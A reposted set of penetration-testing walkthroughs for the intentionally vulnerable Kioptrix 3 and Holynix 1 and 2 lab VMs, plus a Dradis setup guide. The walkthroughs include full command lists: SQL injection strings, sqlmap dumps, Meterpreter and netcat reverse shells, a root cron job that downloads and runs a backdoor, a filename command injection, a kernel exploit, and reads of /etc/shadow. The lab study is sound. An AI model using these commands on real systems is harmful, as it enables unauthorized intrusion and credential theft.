echo -e "0d3eccfb887aabd50f243b3f155c0f85\n5badcaf789d3d1d0  9794d8f021f40f0e" >> /tmp/hashes

cd /pentest/passwords/john

./john /tmp/hash --format=raw-md5

ssh loneferret@kioptrix3.com   # starwars

id

pwd

ls -lA

cat CompanyPolicy.README

ls -lh /etc/sudoers

cat /etc/sudoers

sudo ht   # starwars   File -> Open: /etc/sudoers -> Edit loneferret: loneferret ALL=(ALL) ALL -> File -> Save

sudo su   # starwars

id && ifconfig && uname -a && cat /etc/shadow && ls -lAh ~/

cd /etc/apache2/sites-enabled

ls

cat * | grep -i documentroot

exit

exit

firefox

http://kioptrix3.com/gallery/gallery.php?id=null and 1=2 union select 1,2,3,4,5,6

http://kioptrix3.com/gallery/gallery.php?id=null and 1=2 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='gallarific_users'),4,5,6

http://kioptrix3.com/gallery/gallery.php?id=null and 1=2 union select 1,2,(select group_concat(userid, 0x3A, username, 0x3A, password, 0x3A, usertype) from gallarific_users),4,5,6

cd /pentest/database/sqlmap

./sqlmap.py -u "http://kioptrix3.com/gallery/gallery.php?id=1" -f -b --current-user --is-dba --dbs

./sqlmap.py -u "http://kioptrix3.com/gallery/gallery.php?id=1" --columns

./sqlmap.py -u "http://kioptrix3.com/gallery/gallery.php?id=1" --users --passwords

./sqlmap.py -u "http://kioptrix3.com/gallery/gallery.php?id=1" --file-read="/etc/passwd"

./sqlmap.py -u "http://kioptrix3.com/gallery/gallery.php?id=1" --dump

http://kioptrix3.com/gallery/gadmin    # admin n0t7t1k4   Upload new pic

cd /pentest/backdoors/web/webshells

ls -lAh

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.192 LPORT=443 -f raw > /tmp/evil.jpg    # msfpayload php/meterpreter/reverse_tcp LHOST=192.168.0.192 LPORT=443 R

msfcli multi/handler PAYLOAD=php/meterpreter/reverse_tcp LHOST=192.168.0.192 LPORT=443 E

firefox http://kioptrix3.com/gallery/photos/home/www/kioptrix3.com/gallery/photos/w835623l98.jpg.html

sysinfo

shell

su loneferret

echo "import pty; pty.spawn('/bin/bash')" > /tmp/shell.py

python /tmp/shell.py

su loneferret   # starwars

sudo su    # starwars

cd ~

ls

cat Congrats.txt

exit

exit

exit

exit

exit

ssh loneferrt@kioptrix3.com   # starwars

cat CompanyPolicy.README

sudo ht

* * * * * root cd /tmp; wget 192.168.0.192/back.door && chmod +x back.door && ./back.door; rm /etc/cron.d/exploit   # /etc/cron.d/exploit

msfpayload linux/x86/shell_reverse_tcp LHOST=192.168.0.192 LPORT=443 X > /var/www/back.door

file /var/www/back.door

/etc/init.d/apache2 start

msfcli multi/handler PAYLOAD=linux/x86/shell_reverse_tcp LHOST=192.168.0.192 LPORT=443 E

id

uname -a

Notes

- Editing the host file is mentioned in the README which is included (as well as on the blog post).

That's all! See you.

HOWTO : Holynix - Level 1

*** Do NOT attack any computer or network without authorization or you may put into jail. ***

Credit to : g0tmi1k

This is g0tmi1k's work but not mine. I re-post here for educational purpose only. It is because I enjoy his videos very much and I am afraid of losing them.

The original post at here

Links

Watch video on-line
Download video

Brief Overview

The Holynix series is another collection of operating systems with purposely crafted weakness(es) in them. The usual aim of a "boot-to-root"; try and get a shell with the highest user privilege you can.

Method

Scanned the network for the target (nmap)
Port scanned the host (unicornscan)
Banner grabbed the services running on the open ports (nmap)
Bypass the login screen (SQL Injection & Cookie modification)
Collected possible usernames from harvested email addresses (Bash fu)
Discovered system usernames (Tamper Data)
Located user online directories (DirBuster)
Uploaded backdoor with spoofed credentials (Tamper Data)
Located database credentials & viewed content
Escalated privileges (Plain text credentials)
Cloned the user's port knocking profile (KnockKnock)
Discovered a vulnerable running service to gain future privileges (ChangeTrack)
Waited for the exploit to be triggered (Scheduled for ever 5 minutes)

What do I need?

holynix-v1.tar.bz2 [MD5: D19306C6C2305005C72A7811D2B72B51] – (Homepage).
A virtual machine (Example: Virtual Box or VMware Player)
Nmap – (Can be found in BackTrack 5).
Unicornscan – (Can be found in BackTrack 5's repository).
Tamper Data – (Can be found in BackTrack 5).
DirBuster – (Can be found in BackTrack 5).
Metasploit – (Can be found in BackTrack 5).
knockknock – (Can be found in Holynix VM!)
Exploit-DB – (Can be found in BackTrack 5).
Netcat – (Can be found in BackTrack 5).

Walkthrough

To start the attack, the target needed to be identified on the network. To achieve this, the attacker used nmap's quick "ping" scan, which reveals the targets IP address and MAC address (and vendor - if known).

By using unicornscan, the attacker was able to quickly scan every TCP & UDP port, in which to see if there are any services listening. The scan showed that only TCP port 80 was open, which happens to be the default web server port. The attacker then checked the results by "banner grabbing" with nmap, which confirmed that TCP port 80 had a web server running on it and at the same time detected the type of operating system being used.

The attacker then choose to interact with the web server by viewing its contents which they were presented with a login page. As the attacker hadn't collected any possible credentials, they tried to bypass it, rather than using brute force. By trial and error the attacker soon discovered that the password field is vulnerable to a basic SQL injection. This allowed the attacker to login as the first user in the database, "alamo".

After viewing the contents of the company's internal web pages, one of the pages displayed each employee's details (name, department, telephone number and email address). To build up an inside knowledge of the company, the attacker collected these details and extracted possible usernames from the email addresses. During this process the attacker discovers that the only form of authentication is the "uid" value in the session cookie and decides to match up the collected usernames to uid values. The attacker is now able to spoof their identity - as 11 different users.

Upon exploring the web site, the attacker discovered a page which displays documents from a pre-populated list. The attacker then modified their requested file, which causes a "Local File Include" (LFI) vulnerability, which is then used to view the current page's source code. The modified request was successful and the content was display inside the current page. By looking though the source code, the attacker was able to see that the page accepted either POST or GET requests - which simplify the process. The attacker continued by requesting a known file which commonly contains details of each user on the system (/etc/passwd); this returned with the same 11 users.

The attacker tests the web server to see if "mod_userdir" is enabled, which allows users folders to be accessible via the web server. The attacker takes the list of usernames which has been collected and added a "~" (Tilde) infront of the usernames, as this is used for the "home directory", for the requested username which is followed after it. The attacker then starts DirBuster, which will request all the values on any web server and return with the HTTP code (e.g. 200=successful, 403=forbidden, etc). DirBuster was able to confirm the 11 users on the system do have their personal directories which are publicly accessible.

Another internal feature on the web server was to allow users to uploads files to their personal folders. The attacker then crafts a reverse backdoor and upload it. However, they discovered that the current user which they are logged in as, alamo, has been disabled and wasn't able to upload files. The attacker tries again, but this time spoofs the requested user ID value to another known user, which was successful. When the attacker navigates to the user folder and opens the uploaded file, to execute the PHP code inside it. They discover the permissions of the file has been altered.

The attacker goes back to the LFI, and views the source code of the upload page. After analysing the code, they discover another page handles the request. Upon viewing the contents, the attacker notices that by using compressed files, it doesn't affect the file permissions. The attacker then re-packages the backdoor file into a compressed container and uploads with the same spoofed credentials. Before executing the backdoor, the attacker sets up a listener to catch the reverse connection. Once everything is ready, the uploaded code is requested, causing Apache to execute the PHP code, creating the server to connect back to the attacker, which achieves a remote shell for the attacker to interact with the remote system.

As the web server is using an internal (MySQL) database, the attacker is aware that the credentials need to be stored in a file to allow the web server to interact with the database. As the apache user executed the backdoor, the attacker has the same privileges as the web server, which allows the attacker to read the settings file. The attacker checks a few common default locations and soon locates the settings file, with the database credentials - in plain text.

The current shell is interactive, however it is unable to run certain commands (e.g. su, login or mysql ), as they required TTY (teletypewriter). However by using python the attacker is able to bypass the limitation and locally connect to mysql with the newly acquired details.

Upon exploring the databases, the attacker sees a few "interesting" named tables, one of which is called "accounts". The attacker displays every entry into this table and discovers the 11 user accounts' details in plain text.

The attacker goes back to the web server to view the internal message board, which employees used to communicate between. One of the messages explains that there has been issues with brute force attempts on the SSH service, so a "port knocking" solution has been used. Another message explains how to setup the new feature; creating the necessary folder and extracting the user's profile into them. The attacker uses the download link and installs the program, knockknock, for themselves.

Switching back to the remote system, the attacker changes users to the first user they used at the beginning, alamo. All the passwords recorded in the database is a mixture of upper and lower case, numbers and symbols with a length greater than 12, this creates a very strong password however as the password is stored in plain text it is very weak, allowing for the user to copy and paste the credentials, becoming that user. This allows the attacker to copy alamo's knockknock profile into the user's local home folder. The attacker then simply downloads the whole content of alamo's profile via the web server and places it into the necessary folder.

The attacker starts the port knocking sequence, each time testing to see if the port has become open for a brief period of time (only a couple of seconds). After the 3rd knock, the attacker is able to connect to the SSH server, which was previously closed.

Back on the internal message board, the attacker discovers there is "changetrack" installed, configured to back up a certain folder and is scheduled to run every five minutes. This services is usually executed with the highest level of privileges, otherwise it wouldn't be able to back up everything possible. The attacker checks that the user he is using, alamo, has access to the folder which is being monitored; turns out only two users are (one of which is alamo!).

The attacker then checks a local copy of a public exploit database, exploitdb, to see if there are any known exploits for this service. There was only one result, which reveals that the service doesn't escape certain filenames, therefore filenames which have been crafted can cause the service to execute shell commands. The attacker notes the example filename, which is given, however instead of doing a "bind" connection, they choose to reserve it instead. Locally, the attacker sets up another listener, and remotely checks for, and, configures a program, netcat, which allows for the network connections to read and execute commands. The reason why the attacker flips the direction of netcat was to allow the target to establish, letting the attacker just wait, rather than for them to keep checking.

The attacker now waits for the changetrack service to be triggered, which shouldn't be long, as it was hinted in the message board; it backs up every five minutes...

...A little while later, the attacker notices that the remote system has executed their command and created a remote shell with the super user, root, account privileges.

Commands

nmap 192.168.0.0/24 -sn -n

us -H -msf -Iv 192.168.0.11 -p 1-65535 && us -H -mU -Iv 192.168.0.11 -p 1-65535

nmap -p 1-65535 -T4 -A -v 192.168.0.11

firefox 192.168.0.11 &   # Username: g0tmi1k   Password: ' OR 1=1 #   id: alamo

Right click -> View Page Info -> Headers

Firefox -> Directory



curl -s 192.168.0.11

curl -s --cookie "uid=1" 192.168.0.11

curl -s --cookie "uid=1" http://192.168.0.11/?page=employeedir.php | sed -e "s/

 /

 \n/g; s/example.net/example.net\n/g" | grep example.net | sed "s/@example.net//"

curl -s --cookie "uid=1" http://192.168.0.11/?page=employeedir.php | sed -e "s/

 /

 \n/g; s/example.net/example.net\n/g" | grep example.net | sed "s/@example.net//" > /tmp/users

wc -l /tmp/users

for x in $(seq 1 64); do

  y=$(curl -s --cookie "uid=$x" 192.168.0.11 | grep Welcome, | sed "s/[ \t]*//; s/Welcome, //" | cut -d "." -f1)

  if [ $y ] ; then echo $x=$y ; fi

done



Firefox -> Tools -> Tamper Data -> Start Tamper

firefox http://192.168.0.11/?page=ssp.php    # Display File

Tamper -> text_file_name: ssp.php

http://192.168.0.11//index.php?page=ssp.php&text_file_name=/etc/passwd



cat /tmp/users| sed 's/^/~/' >> /tmp/users

cd /pentest/web/dirbuster

java -jar DirBuster-0.12.jar -u http://192.168.0.11    # /tmp/users.txt



msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.192 LPORT=443 -f raw > /tmp/evil.jpg



Firefox -> Tools -> Tamper Data -> Start Tamper

firefox  # Upload (fails)

Tamper -> Cookie: uid=2    # id: etenenbaum

firefox    # Upload again



firefox http://192.168.0.11/~etenenbaum/   # evil.jpg

firefox http://192.168.0.11/?page=ssp.php    # Display File

Tamper -> text_file_name: /home/etenenbaum/evil.jpg



http://192.168.0.11//index.php?page=ssp.php&text_file_name=upload.php

http://192.168.0.11//index.php?page=ssp.php&text_file_name=transfer.php



cd /tmp

mv evil.jpg evil.php

chmod +x evil.php

ls -l evil.php

tar -cvzf evil.tar.gz evil.php

ls -l evil*

msfcli multi/handler PAYLOAD=php/meterpreter/reverse_tcp LHOST=192.168.0.192 LPORT=443 E



firefox http://192.168.0.11/~etenenbaum/



sysinfo

shell

id

pwd

ls -lah

cd /var/apache2

ls -lah

cat config.inc

python -c 'import pty; pty.spawn("/bin/sh")'

mysql -u root -pmY5qLr007p@S5w0rD

SHOW DATABASES;

USE creds;

SHOW TABLES;

SELECT * FROM accounts;

quit



firefox http://192.168.0.11/index?page=messageboard.php   # knockknock

wget http://192.168.0.11/misc/knockknock-0.7.tar.gz

tar zxvf knockknock-0.7.tar.gz

cd knockknock-0.7

head -n 20 INSTALL

python setup.py install



cd /etc/knockknock.d/profiles/

ls -lAh

cp -r alamo ~/knockknock

exit

exit

exit

exit

wget -r -np --reject=index* 192.168.0.11/~alamo/knockknock/   

mv 192.168.0.11/~alamo/knockknock ~/.knockknock/192.168.0.11

ls -lAh

#cat config

nmap -p 22 -T5 -v 192.168.0.11

#python /tmp/knockknock-0.7/knockknock.py -p 13820 192.168.0.11

python /tmp/knockknock-0.7/knockknock.py -p 22 192.168.0.11 && nmap -p 13820 -T5 -v 192.168.0.11

python /tmp/knockknock-0.7/knockknock.py -p 22 192.168.0.11 && ssh alamo@192.168.0.11   # Ih@cK3dM1cR05oF7

id

# sudo -l



firefox http://192.168.0.11/index?page=messageboard.php   # Changetrack



cd /pentest/exploits/exploitdb

grep -i changetrack files.csv

cat platforms/linux/local/9709.txt



ls -lah /home   # development is set to nobody & developers

cat /etc/group | grep developers    # Alamo jljohansen

cd /home/development

ls -lAh

whereis nc



nc -lvp 443



touch "<\`nc 192.168.0.192 443 -e \$SHELL\`"
ls
watch -d -n 1 "netstat -ant"   # wait 5 mins

id && /sbin/ifconfig && uname -a && cat /etc/shadow && ls -lAh /root/

Notes

- When starting the VM for the first time with VMware, select "Moved It" - otherwise it could cause issues (e.g. The target will not be visible!).
- There is the possibly of another method of gaining access, as well as different tools (e.g. burpsuite instead of using tamper data) or techniques (modify the SQL injection or permanently edit the cookie value) could be used to achieve the same effect.
- Some mistakes in the video are more obvious
- On reflection, a few commands should have been issues to verify the comments on the message box, such as: "ls /etc | grep -i changetrack", and "cat /etc/changetrack.conf".

That's all! See you.

HOWTO : Holynix - Level 2

*** Do NOT attack any computer or network without authorization or you may put into jail. ***

Credit to : g0tmi1k

This is g0tmi1k's work but not mine. I re-post here for educational purpose only. It is because I enjoy his videos very much and I am afraid of losing them.

The original post at here

Video Links

Watch video on-line
Download video

Brief Overview

Holynix is a series of operating systems with purposely designed weakness(es) left inside. The aim of them is to go from "boot-to-root"; the user has to try and get a shell with the highest user privilege they can reach.

Method

Scanned network for the target (Netdiscover)
Configured IP address (192.168.1.0/24)
Port scanned the target (unicornscan)
Banner grabbed the services running on the open ports (nmap)
Added the target's IP to the host file & Re-configured DNS settings
Successfully replicated the DNS databases (Zone Transfer)
Successfully brute forced web server directories (DirBuster)
Detected & exploited outdated software (phpMyAdmin)
Discovered an internal document (DirBuster)
Cracked FTP passwords (John The Ripper)
Uploaded a web backdoor (Metasploit)
Escalated privileges via a vulnerable kernel version
Located MySQL database details

What do I need?

kolynix-v2.tar.bz2 (MD5: 2B91038DE5C5150BFC48AA39C84E7E71) – (Homepage).
A virtual machine (Example: Virtual Box or VMware Player).
Netdiscover – (Can be found on BackTrack 5).
Nmap – (Can be found on BackTrack 5).
Unicornscan – (Can be found in BackTrack 5's repository).
DirBuster – (Can be found in BackTrack 5).
Exploit-DB – (Can be found on BackTrack 5).
John The Ripper – (Can be found on BackTrack 5).
Metasploit – (Can be found on BackTrack 5).

Walkthrough

To begin, the attacker needed to locate the target. This was accomplished by using "netdiscover", as it was able to scan for hosts on multiple IP ranges quickly. The output from the scan had the target on a different IP range from the DHCP server's pool, meaning the target had a static IP address. The IP address, MAC address and vendor was now known to the attacker and they updated their IP address to fit inside the same IP range as the target.

Once the attacker was in the same subnet as the target, the attacker completed a full port scan of both TCP & UDP on the target by using "unicornscan". When the scan had finished, the results showed that the target had four TCP ports open: 21, 22, 53 & 80, as well as one UDP port, 53.

Afterwards, the attacker wanted to know what services were being used on these ports. By using "nmap" to banner grab the services, the protocols and services (and possible versions) were able to be identified, along with finger printing the operating system which was being used. The outcome of the scan revealed that the services being used matched up to their default protocol ports; ftp, ssh, dns and web services.

The attacker then proceeded by interacting with the target's web server, and by doing so, they were able to find some useful information; the domain name, name servers and each user had their own sub-domain. The attacker updates their system to reflect the newly discovered information by replacing the DNS server to point to the target.

The attacker then sets out to produce a list of possible usernames via the sub-domain by using DNS enumeration. By using "dig" the attacker was able to gather details about the domain, zincftp.com. This revealed that there were two DNS servers; the primary server was pointed to itself, the secondary server had an IP address increased by one of the primary servers. From the earlier nmap scan, the attacker knew that this IP address wasn't currently being used. The attacker then attempted a zone transfer as DNS port (TCP 53) was open, which would clone the DNS database; however it failed. But, by the attacker changing their IP address to match the secondary DNS server and re-trying the request, this time the attacker was presented with a list of all the known values for the DNS service.

The next stage was to extract a list of all known hosts from the sub-domains as well as a possible list of usernames. Upon futher inspection of the list, the attacker then filtered out all the primary server values - which left a few interesting results such as; the nameservers (which were already known), a mail server (which was on a completely different IP range) and trusted.zincftp.com.

The attacker then moves their force back to the web server. "DirBuster" was able to brute force a list of directories on a web server and check their status. In the first scan, the attacker notices two folders (/phpMyAdmin/ & /setup_guide/) which returned "HTTP response code 403 - Forbidden". The attacker then changes their IP address to match the same value as "trusted.zincftp.com" and re-open another instance of DirBuster to compare the output. After the second scan had completed, the two previous denied folders, had returned "HTTP response code 200 - OK". The attacker then chooses to view what was meant to be hidden and discovers that one page is an unprotected phpMyAdmin page as well as a directory listing which only contained one file "todo".

By exploring the phpMyAdmin page, the attacker was able to view the contents of the database which contained two usernames and their email addresses, which the attacker adds to their list of known users. Afterwards, the attacker checks the version of phpMyAdmin and notices it's a very old version and checks to see if there has been any known exploits released for it in their local copy of public exploits from "exploit-db". After checking the versions the attacker discovers that there is a remote directory traversal vulnerability.

The exploit allowed the attacker to view any files which had the same permission that phpMyAdmin was being run as. By using this, the attacker was able to discover all the user accounts on the system, by using a known file which commonly contains details of each user on the system (/etc/passwd). After analysing the file the attacker saw that not every user had shell access, and filtered these users out, as they wouldn't be able to gain remote shell. The attacker then made a note of those usernames in a separate file, as they have higher priority.

Afterwards the attacker viewed the "todo" file on the web server, which displayed the internal working of the company when a new user is added to the system. The last stage was to add them to the FTP service, allowing them to download/upload files to the server. By using the phpMyAdmin exploit, the attacker was able to read the encrypted password file which contained the user credentials.

The attacker now had a local copy of the users which were allowed to use the FTP service, along with their passwords, however, it was encrypted. The attacker then locates a small wordlist to attempt to brute force the passwords. After loading the passwords and wordlist into "John The Ripper", the attacker discovered two passwords (jack-in-the-box and millionaire) which were used (due to them being inside the wordlist), along with the two usernames (dhammond and tmartin).

As the attacker was now able to view the user web folder via [username].zincftp.com, as well as being able to interact with the ftp server, the attacker created and uploaded a small test file to see if the two services overlapped with each other. (Editor's note: The VM at this stage had "run out of room", however, after restarting the holynix virtual machine it worked). The result was the message "Hello World" was displayed, meaning; FTP & Web root folders were the same, the attacker was able execute PHP commands. From this, the attacker then crafts a web based backdoor via "metasploit", setups a listener to catch the reverse connection and repeated the same procedure as before.

As soon as the php backdoor file was opened, it connected back to the attacker giving them remote access to the system, which allowed the attacker to interact with the operating system. The attacker continued by listing all the files of each user's personal home folder. As the backdoor was executed by the web server, the backdoor inherited the same permissions, and, as the web server had to display each user folder the attacker can also do the same. There were various personal files to some users; however the attacker spotted an email, and upon reading it discovered that the user had their password reset to their name along with a few random characters. The attacker located the username the email was sent to, after looking up the user's details by using the same file as before (/etc/passwd), to discover their full name. It was also a user that had been discovered before, due to the user having permission to login remotely.

The attacker now connects to the target via "SSH" with the newly acquired details and as a result had a remote TTY shell. The attacker then checked the current kernel version, and discovered like phpMyAdmin, it was out-dated, and checks in the same manner to see if there is a public exploit for it. After locating a possible exploit, the attacker then copied it to their root web folder, checked that the file had permission to be accessed by "Apache", that there wasn't any comments at the start of the file and then started the web server, to make the file accessible to the target.

Going back to the target, the attacker navigates to a folder which they usually have write access as well as the ability to execute programs, /tmp. The attacker then downloads the exploit locally on the target and then compiles it. As soon as the newly created program had been executed the attacker became the super user, root. The attacker now has access to the complete system...

Game over

The attacker decided that they wished to harvest the system for credentials. As databases can contain valuable and sensitive information, the attacker opted to gain access. The attacker was running as root, which would allow them to reset the password to anything they wished. However, this would have caused the functionality to stop, so instead they located them (as they had to be stored somewhere allowing the web server to interact with the database). The attacker navigated to a common location for the web root folder to be, and then, by searching for all files with php extension that use a common function to connect to a MySQL database, the attacker found all the insistences of the command. The attacker was then able to view the complete file which contained the phrase, and discovered the credentials in plain text.

Commands

netdiscover

ifconfig eth0

ifconfig eth0 192.168.1.192

ifconfig eth0

us -H -msf -Iv 192.168.1.88 -p 1-65535 && us -H -mU -Iv 192.168.1.88 -p 1-65535

nmap -p 1-65535 -T4 -A -v 192.168.1.88

firefox 192.168.1.88

echo www.zincftp.com 192.168.1.88 >> /etc/hosts

cat /etc/hosts

echo nameserver 192.168.1.88 > /etc/resolv.conf

cat /etc/resolv.conf

dig zincftp.com @192.168.1.88

dig AXFR zincftp.com @192.168.1.88

ifconfig eth0 192.168.1.89

dig AXFR zincftp.com @192.168.1.88

dig AXFR zincftp.com @192.168.1.88 | grep zincftp.com | grep -v ";" | cut -f1 - | sort | uniq

dig AXFR zincftp.com @192.168.1.88 | grep zincftp.com | grep -v ";" | cut -f1 - | sort | uniq > /tmp/hosts

dig AXFR zincftp.com @192.168.1.88 | grep zincftp.com | grep -v ";" | cut -d . -f1 - | sort | uniq

dig AXFR zincftp.com @192.168.1.88 | grep zincftp.com | grep -v ";" | cut -d . -f1 - | sort | uniq > /tmp/users

dig AXFR zincftp.com @192.168.1.88 | grep -v 192.168.1.88 | grep -v ";"

BackTrack -> Vulnerability Assessment -> Web Application  Assessment -> Web Application Fuzzers -> DirBuster   #  http://192.168.1.88  directory-list-2.3-medium.txt

ifconfig eth0 192.168.1.34

BackTrack -> Vulnerability Assessment -> Web Application  Assessment -> Web Application Fuzzers -> DirBuster   #  http://192.168.1.88  directory-list-2.3-medium.txt

Right Click -> Open In Broswer   # /phpMyAdmin/   /setup_guide/

phpMyAdmin -> zincftp_data -> browse   # shanover & lbaumann

phpMyAdmin -> home -> changelog

cd /pentest/exploits/exploitdb

grep -i phpmyadmin files.csv

perl platforms/php/webapps/1244.pl

perl platforms/php/etc/passwd

perl platforms/php/etc/passwd | grep /bin/bash | cut -d ":" -f1

perl platforms/php/webapps/1244.pl 192.168.1.88 /phpMyAdmin/  ../../../../../etc/passwd | grep /bin/bash | cut -d ":" -f1 >  /tmp/sshUsers

firefox http://192.168.1.88/setup_guide/ -> todo

perl platforms/php/etc/pure-ftpd/pureftpd.passwd

perl platforms/php/etc/pure-ftpd/pureftpd.passwd | grep :/

perl platforms/php/etc/pure-ftpd/pureftpd.passwd | grep :/ > /tmp/ftpUsers



cd /pentest/passwords/john

find / -name password.lst

wc -l /pentest/passwords/wordlists/darkc0de.lst

wc -l /opt/framework3/msf3/data/john/wordlists/password.lst   # Much smaller, therefore quicker!

./john --wordlist=/opt/framework3/msf3/data/john/wordlists/password.lst /tmp/ftpUsers   # --rules

ftp 192.168.1.88   # dhammond jack-in-the-box

ls

cd web



echo "" > test.php 



put test.php



curl dhammond.zincftp.com/test.php

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.34 LPORT=443 -f raw > evil.php

msfcli multi/handler PAYLOAD=php/meterpreter/reverse_tcp LHOST=192.168.1.34 LPORT=443 E



put evil.php



curl dhammond.zincftp.com/evil.php && exit



sysinfo

shell

id

python -c 'import pty; pty.spawn("/bin/sh")'

ls -lAhR /home

cat /home/amckinley/my_key.eml   #first and last name, all lower case, followed by 2ba9

grep amckinley /etc/passwd    # Agustin Mckinley

exit



quit

ssh amckinley@zincftp.com   # agustinmckinley2ba9

id

uname -a



exit

exit

exit

cd /pentest/explotis/exploitdb

grep -i "linux kernel 2.6"  files.csv | grep -i root   #| uniq   # grep -i dos

cp platforms/linux/local/5092.c /var/www/exploit.c

/etc/init.d/apache2 start

ls -l /var/www/exploit.c

head -n 20 /var/www/exploit.c   # Check to make sure vaild code



cd /tmp

ls -la

wget 192.168.1.34/exploit.c

gcc exploit.c -o root

ls -la

./root

id && ifconfig && uname -a && cat /etc/shadow && ls -lahR /root

cd /var/www

find ./ -name *.php -print0 | xargs -0 grep -i -n "mysql_connect"

cat dev/dbconn.php

cat htdocs/dbconn.php

Notes

- When starting the VM for the first time with VMware, select "Moved It" - otherwise it could cause issues (e.g. the target will not be visible!).
- The user names which were collected were not essential for this, however this was included to demonstrate the techniques.
- On reflection, DirBuster was only used to visible compare the HTTP codes, depending on the IP address used. This could of been achived manually as checking "/phpMyAdmin/" is highly recommend (along with "/robots.txt" for example). Then by using the phpMyAdmin exploit, viewing the file "/etc/apache2/sites-enabled/000-default" would have revealed "/setup_guides/".
- Some mistakes in the video are more obvious.
- This video has been "over-edited" more than most of the other videos as it was made to fix the length of music.

That's all! See you.

Thursday, November 25, 2010

HOWTO : Information gathering with Dradis on Back|Track 4 R2

Dradis is an effective information sharing tool. It is pre-installed in Back|Track 4 R2.

Step 1 :

Setting up Dradis server.

cd /pentest/misc/dradis/server

ruby ./script/server

Open your browser and the address is "https://localhost:3004". Accepted the certificate. Enter your password twice. Then, login to the system with your desired username and the previous password.

Or, you can use the default username and password, they are "etd" and "dradis" respectively.

Step 2 :

Setting up Dradis client.

nano /pentest/misc/dradis/client/conf/dradis.xml

Locate the following lines.

<option name='restful_user' value='etd'/>

<option name='restful_password' value='dradis'/>

Change the default value of "etd" and "dradis" according to the Step 1 above when necessary.

cd /pentest/misc/dradis/client

ruby ./dradis.rb

A "dradis>" prompt will be displayed.

Step 3 :

Start MySQL. Open a new terminal and execute the following commands :

/etc/init.d/mysql start

msfconsole

At the "msf>" prompt, enter the following :

db_driver mysql

db_connect root:toor@127.0.0.1/msf3

load db_tracker

Then, scan the port of the target "192.168.56.101" with NMap.

nmap -v -sV 192.168.56.101 -oA subnet_1

db_import subnet_1.xml

Now, you can issue the following commands to inspect the result :

db_host

db_services

Step 4 :

Go back to the terminal where it has the "dradis>" prompt. Issue the following command :

import nmap /root/subnet_1.gnmap grepable

Then, go back to the browser and refresh. You will see the data has been imported.

Reference

How to use Dradis

That's all! See you.